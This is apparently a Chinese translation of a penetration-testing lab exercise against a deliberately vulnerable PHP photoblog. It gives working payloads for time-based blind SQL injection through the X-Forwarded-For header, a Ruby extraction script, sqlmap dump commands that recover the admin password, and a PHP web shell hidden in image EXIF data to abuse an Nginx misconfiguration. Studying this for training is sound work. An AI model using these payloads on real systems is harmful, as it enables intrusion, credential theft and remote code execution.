简介

本课程详细介绍一个基于PHP开发的网站的SQL盲注,以及攻击者如何利用它来访问管理页面。然后,使用该访问,攻击者能够通过配置问题获得服务器上的代码执行。

攻击分为3个步骤:

  1. 指纹识别:收集在Web应用使用的技术信息。
  2. SQL注入检测和利用:在这一部分中,您将学习SQL盲注的原理以及如何利用它们来获取信息。
  3. 访问管理页面和代码执行:最后一步,你将访问操作系统并且运行代码。

如果你感到合适,你可以尝试发现和利用这些漏洞而不按照课程。你可以在之后回到课程来学习一些你可能没有想到的技巧。

一旦你访问Web应用程序,你将看到下面的页面:

指纹识别

指纹识别可以通过使用多个工具。首先通过使用浏览器,将有可能检测到该应用程序是用PHP写的(通过文件扩展名)。

检查HTTP头部信息

大量的信息可以通过使用telnet或netcat连接到远程Web应用程序获取,我个人使用netcat,直接通过命令行使用效率更高:

1
2
3
4
5
6
7
% echo "HEAD / HTTP/1.1\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | netcat vulnerable 80
HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 29 May 2013 00:52:49 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3-7+squeeze15

如果你使用 bash ,确保你添加en到命令行:echo -en "HEAD...

我们可以看到,Web服务器使用Nginx并且PHP也被安装了。使用 HEAD 将使你得到所有页面的内容。使用 Connection: close 告诉服务器处理请求后关闭连接。这将确保命令马上返回。

SQL注入检测与利用

SQL注入检测

该网站提供的SQL注入要找到它有点棘手,尤其是如果你不知道去哪里找。首先,你需要知道SQL注入是盲目的。其次,你不能检测并触发它如果您使用的是浏览器(除了浏览器的扩展用来伪造HTTP流量)。你需要使用一个代理,一个工具(如netcat)或一些代码来找到它。

除了通常的“GPC”猜测:GET参数,POST参数和Cookies;还有其他的值可以用于发现漏洞:

  • User-Agent
  • Host 头。
  • X-Forwarded-ForX-Forwarded-Host 头。

User-Agent 明显并且易于操作。Host 头有点难度,因为你将需要将主机头从传统的DNS解析中分离出来((即:您无法直接用浏览器访问[http://‘+or+’1’=’1]/test.php](http://‘+or+’1’=’1]/test.php),因为DNS无法分辨出 ‘+or+’1’=’1)。

注入到主机名,您需要发送您的请求,通过手动或代理在请求中修改 Host 头:

1
2
3
GET / HTTP/1.1
Host: ' or '1'='1
[...]

最近,一些公布的漏洞入口点是Host头。一些存在漏洞的函数位于密码重置页面(发送链接是基于Host头)和数据页(页面显示Host的值,没有任何过滤 )。

通常列表中最后一个是 X-Forwarded-For 头。X-Forwarded-For 是传统用来获取客户端的IP地址。你可能会问为什么PHP代码没有使用TCP连接中的IP地址(例如 $_SERVER[‘REMOTE_ADDR’] )来代替这个头。X-Forwarded-For 主要用于当应用程序在一个反向代理之后。如果应用使用 $_SERVER[‘REMOTE_ADDR’] 所有请求看起来都是来自于反向代理代替客户(这将打破所有的审计和日志记录机制)。这就是为什么很多应用程序的设计类似于下面的代码:

1
2
3
4
5
$ip = $_SERVER['REMOTE_ADDR'];

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

X-Forwarded-For 仅在当应用程序运行在一个反向代理之后时设置,这种代码在大多数情况下工作。然而,这个代码假定攻击者不能伪造这个头。最后,因为开发者认为,IP地址将是一个有效的IPv4地址,他们往往没有进行足够的过滤。

利用这些信息,我们将看到我们如何使用基于时间的SQL盲注。这里的想法是注入一个需要花费很长时间来处理的函数并且观察是否调用该函数,通过观察网页载入的时间。

首先,我们可以很容易地使用命令行发送请求。然而,我们可以看到,发送的有效载荷:
hacker

1
$ echo "GET / HTTP/1.0\r\nX-Forwarded-For: hacker\r\nConnection: close\r\n\r\n" | netcat vulnerable 80

hacker’

1
$ echo "GET / HTTP/1.0\r\nX-Forwarded-For: hacker'\r\nConnection: close\r\n\r\n" | netcat vulnerable 80

hacker’ or ‘1’=’1
hacker’ and ‘1’=’1

将得到相同的结果,没有简单的方法来发现这个参数是否可以注入。

幸运的是,我们可以使用基于时间的检测,通过检查时间差发现漏洞。我们可以看到这个有效载荷:

1
$ echo "GET / HTTP/1.0\r\nX-Forwarded-For: hacker' or sleep(4) and '1'='1\r\nConnection: close\r\n\r\n" | netcat vulnerable 80

将比这一个花费更多的时间:

1
$ echo "GET / HTTP/1.0\r\nX-Forwarded-For: hacker' or sleep(0) and '1'='1\r\nConnection: close\r\n\r\n" | netcat vulnerable 80

作为使用 ‘1’=’1 结束语句的代替,你可以使用 # 。使用 注释掉之后的语句将不工作(用于检索header的函数将除去 之后的空格),除非你使用 – -来确保保留空格。

使用 and sleep… 代替 or sleep… 也很重要,MySQL不会执行 sleep() ,如果第一部分(匹配 ip)没有返回 true 。因为我们使用的 hacker (之前没有使用过),它将返回 false 并且 sleep… 会被执行。MySQL的确很聪明,不会测试:

  • Y in X and Y if X returns false.
  • Y in X or Y if X returns right.

你会经常需要到处闲逛以确保代码是很脆弱的,你不要让这种行为变化干扰到。

基于这种差异(之后多测试几次,以确保它不是由于连接的速度),我们可以肯定,这个网站很容易受到SQL注入。

默认情况下,sqlmap并不会测试X-Forwarded-For头的SQL注入。你需要知道工具的局限性并且知道该从哪里开始。

SQL盲注利用

手工利用

我们要利用传统的SQL盲注,我们有2种情况(true/slow 和 false/quick),基于此,我们可以检索信息。

首先,我们要使用 select @@version 检索一行。一旦我们知道如何去做,我们可以多行。

在这里我们要检索数据库的版本 select @@version 。为此,我们需要获取每个字符的每个字节,通过 select @@version

我们的版本是5.0.4,我们需要选择这个字符串的所有字符,通过使用MySQL函数 substring

既然我们知道如何提取每个字母(字节);我们现在就需要提取每个字节的每一位。作为一个例子,让我们看看它如何能做到,以值 5 为例。首先我们需要得到的 5 的ASCII码值使用MySQL函数 ascii

1
2
3
4
5
6
mysql> SELECT ascii('5');
+----------+
| ascii(5) |
+----------+
| 53 |
+----------+

现在,我们需要检索在每个位的值。53 可以代表的二进制值: 00110101 。我们可以使用一个比特位分离出其他内容。分离和检索每一位之后,我们可以在攻击者这边重新构建这个值。

首先,我们需要基础boolean与(&)怎么工作:

我们将使用这些属性来分离每个比特的信息。

我们可以使用 &1 分离第一位:

返回值为第一位是1。此值将产生一个 true 的状态和响应将是缓慢的。

& 用于分离,1用于指明第一位。作为一个说明:2 ^ 0等于1。

我们可以使用 &2来移动到第二位(2^1 等于 2):

返回值为第二位是0。0将产生一个 false 的状态并且响应会很快。

我们可以继续移动到第三位通过 &4 (2^2 等于 4):

返回值为第三位1。4值将产生一个 true 的状态并且响应将被推迟。

我们可以继续获取第一个字节的所有位。对于每一位,你将需要添加值(它的结果是true)作为一个变量。这个变量将包含最后的字节,当你检索所有位之后。

我们可以把一切都在2个循环中,每一个字符和当前字符的每一位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
require 'socket'

inj = "select @@version"
str = ""

def test(sql)
p = "hacker' or if((#{sql}),sleep(0.5),0) and '1'='1"
t = Time.now
begin
s = TCPSocket.new("vulnerable",80)
s.write("GET / HTTP/1.1\r\nHost: vulnerable\r\nX-Forwarded-For: #{p}\r\nConnection: close\r\n\r\n")
s.readlines()
s.close
rescue Errno::ECONNRESET, EOFError
end
return ((Time.now-t)>0.5)
end

# dummy initialisation for the while loop
# we loop until the returned value is null
value = 1
i = 0

while value != 0
# i is the position in the string
i+=1
# initialise to 0 the value we are trying to retrieve
value = 0
# for each bit
0.upto(6) do |bit|
# 2**bit is 2^bit and will do all the bit masking work
sql = "select ascii(substring((#{inj}),#{i},1))&#{2**bit}"
if test(sql)
# if the returned value is true
# we add the mask to the current_value
value+=2**bit
end
end
# value is an ascii value, we get the corresponding character
# using the `.chr` ruby function
str+= value.chr
puts str
end

你可以通过检索每个结果的大小在开始之前完善这个脚本。停在一个NULL值,不可能正常工作的二进制位置。

现在我们已经有了脚本来检索单行。我们需要改进,使它能够处理多行,可以获取所有的用户。

但首先,让我们看看用户是如何连接数据库,看是否能找到一条捷径去执行代码。了解使用的用户,我们只需要替换我们的有效载荷:

1
inj = "select user()"

然后运行我们的脚本获取结果:

1
2
3
4
5
6
7
8
9
10
11
% ruby course/exploit.rb
p
pe
pen
pent
pente
pentes
pentest
penteste
[...]
pentesterlab@localhost

这个用户看起来并没有 FILE 权限。在另一项练习,我们将看到我们如何检查并且得得它的代码执行。

要获取多个行,我们只需要添加另一个循环到脚本中,每次检索一行。我们可以分离每一行行通过使用SQL关键字 LIMIT 。下表说明了 LIMIT 行为:

注:as id 只是用来使MySQL输出更容易阅读。

现在我们知道了如何分离每一行。我们可以通过循环每一行获取所有的结果。
我们只需要:

  • 添加一个 index 循环(我们只想要前10个结果)。
  • 在我们的载荷中使用 index 来限制结果的数量。
  • 在获取新行之前重置变量 valueistr

修改后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
index = 0 

while index < 10
# using a new variable for the new payload to keep things simple
newinj = inj + " limit #{index},1"
i = 0
str =""
value = 1
while value != 0
[...]
0.upto(6) do |bit|
# using the new variable
sql = "select ascii(substring((#{newinj}),#{i},1))&#{2**bit}"
[...]
end
index+=1
end

当脚本开始循环,你可以杀死它移动到下一个请求。

你可以修改行数在开始运行之前来改善这个脚本。

现在我们知道了如何检索多行,我们可以使用脚本来转储:

  • 表的列表:SELECT table_name FROM information_schema.tables
  • 列的列表:SELECT column_name FROM information_schema.columns

最终,只通过修改载荷来获取信息。

1
2
inj = "select concat(login,':'password) from users "
[...]

我们可以获取登录密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
% ruby exploit.rb
a
ad
adm
admi
admin
admin:
admin:8
admin:8e
admin:8ef
admin:8efe
admin:8efe3
admin:8efe31
[...]
admin:8efe310f9ab3efeae8d410a8e0166eb2

现在你已经知道了如何手工利用,接下来我们看一下如何使用SQLMap来做到相同的效果。

使用SQLMap进行注入

你也可以使用SQLMap来利用这个漏洞。语法是有点棘手,你需要告诉sqlmap在注入点使用 *。这可以通过以下命令:

1
$ python sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" --banner

测试不同的SQL注入方法之后,SQLMap返回如下旗标:

1
2
3
4
5
6
7
8
9
10
11
12
13
sqlmap identified the following injection points with a total of 109 HTTP(s) requests:
---
Place: (custom) HEADER
Parameter: X-Forwarded-For #1*
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: ' AND SLEEP(5) AND \'tYCW\'=\'tYCW
[...]
[14:14:18] [INFO] adjusting time delay to 1 second due to good response times
5.1.66-0+squeeze1
web application technology: PHP 5.3.3, Nginx
back-end DBMS: MySQL 5.0.11
banner: '5.1.66-0+squeeze1\'

我们现在可以获取想要的信息:

  • –dbs 获取数据库列表。

如下:

1
2
3
4
% python sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" --dbs
available databases [2]:
[*] information_schema
[*] photoblog
  • -D photoblog –tables获取表的列表。

如下:

1
2
3
4
5
6
7
8
9
% python sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog --tables
Database: photoblog
[4 tables]
+------------+
| categories |
| pictures |
| stats |
| users |
+------------+
  • -D photoblog -T users –columns获取列的列表。

如下:

1
2
3
4
5
6
7
8
9
10
11
% python sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog -T users --columns
Database: photoblog
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | mediu |
| login | varchar(50) |
| password | varchar(50) |
+----------+-------------+

使用选项--batch告诉SQLMap使用默认行为,避免用户数据。

最后,你可以转储表 users (SQLMap将允许你自动破解密码)用以下命令:

1
2
3
4
5
6
7
8
9
% python sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog -T users --dump --batch
Database: photoblog
Table: users
[1 entry]
+----+-------+---------------------------------------------+
| id | login | password |
+----+-------+---------------------------------------------+
| 1 | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
+----+-------+---------------------------------------------+

你也可以使用 –dump-all 如果你想得到所有的数据库内容(可能很慢)。你也可以使用 –exclude-sysdbs 避免转储系统数据库/表而只检索那些默认不存在的。

访问管理页面和代码执行

进入管理界面的第一步是破解你获取到的密码。除非你已经用SQLMap破解了它,你可以使用这个练习的第一个版本,按照提供的步骤。否则,你可以使用谷歌来破解它。

上传WebShell并且执行代码

当你遇到一个上传功能,下面的步骤可以遵循的:

  • 确保文件上传在web根目录(所以你可以访问它并且得到它的解析)。
  • 确保代码检查的文件扩展名,它不能绕过。
  • 确保代码检查的内容类型,它不能绕过。

通过使用一个合法的图像(.png , .jpg.gif 文件),我们可以看到,文件会在网站根目录上传,被改名为基于当前时间,该文件的扩展名仍然保持。

如果你想上传一个PHP扩展名文件,不同于.png , .jpg.gif 。文件会被拒绝。看起来不能绕过。

如果你想上传一个文件以正确的扩展名但没有合适的内容(如文本文件命名为 test.jpg ),文件也被拒绝。

最后,如果你想上传一个文件以正确的扩展,正确的内容但有一个小的内容修改(用 vi 添加额外的话),该文件也被拒绝了。

唯一的可能是上传一个有效的文件去执行代码。我们还注意到,该文件没有被PHP代码调整大小。

2010年, 80sec.com 发布了nginx文件类型错误解析漏洞http://www.80sec.com/nginx-securit.html(中文)。这个问题也在Neal Poole in 2011https://nealpoole.com/blog/2011/04/setting-up-php-fastcgi-and-nginx-dont-trust-the-tutorials-check-your-configuration/进行过详细的说明。

基本上,如果Nginx/PHP配置不正确,当有人访问URL:http://vulnerable/admin/uploads/hacker.png/x.php时,文件 hack.png 会被解析成PHP代码。

我们可以利用这个错误配置获得代码执行在服务器上仅仅通过上传恶意的图像。然而,在我们测试之前,该文件必须是一个有效的图像。我们需要找到一种方法将PHP代码注入到图像的同时保持一个有效的文件。

一个简单的方法是把我们的有效载荷内作为一个评论注入到图像的EXIF区域。这可以通过使用工具 exiftool 做到。
gd库被很多PHP应用用来删除EXIF数据,当图像被调整大小。幸运的是,这里的情况不是这样的,。它仍然是值得测试的因为很多人(特别是照片)想要保留这些信息,即使图像可以调整大小,仍然决定离开gdImageMagick

首先,我们需要创建载荷(shell.php):

1
<?php system($_GET['c']); ?>

然后我们可以使用 exiftool 把我们的载荷注入到图像中:

1
% exiftool "-comment<=shell.php" malicious.png

最后,我们需要确保一切都是好的(在调试浪费时间之前):

1
2
% strings malicious.png | grep system
<?php system($_GET['c']); ?>

我们现在可以上传自己的图像。一旦上传,我们需要通过检查网页的源文件来检索路径。我们可以通过添加“PHP扩展”和我们要运行的命令来访问图像。例如,如果上传的文件被命名为 1369904954.png ,我们可以访问http://vulnerable/admin/uploads/1369904954.png/c.php?c=uname%20-a来执行代码。

总结

这个练习将教你如何手动检测和利用SQL盲注获得一个网站管理页面。一旦进入“信任区”,更多可用的功能将产生更多的漏洞。这个练习是一个很好的例子有多小技巧可以影响Web服务器的性能并且允许攻击者控制它。